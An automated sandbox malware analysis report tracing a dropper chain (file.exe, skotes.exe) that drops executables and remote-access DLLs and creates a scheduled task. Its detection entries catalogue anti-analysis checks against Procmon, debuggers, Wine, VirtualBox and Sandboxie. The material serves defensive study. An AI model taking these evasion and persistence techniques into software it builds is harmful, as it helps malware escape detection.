Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YIFtngJ[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017825001\bb54d38b96.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\FuturreApp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	File created: C:\Users\Public\Netstat\PCICL32.DLL	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 855fa1aa94.exe PID: 1404, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_1-9733

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: PROCMON.EXE
Source: 83c3b21a33.exe, 0000000F.00000002.2992225003.0000000001068000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: X64DBG.EXE
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-^Q
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: WINDBG.EXE
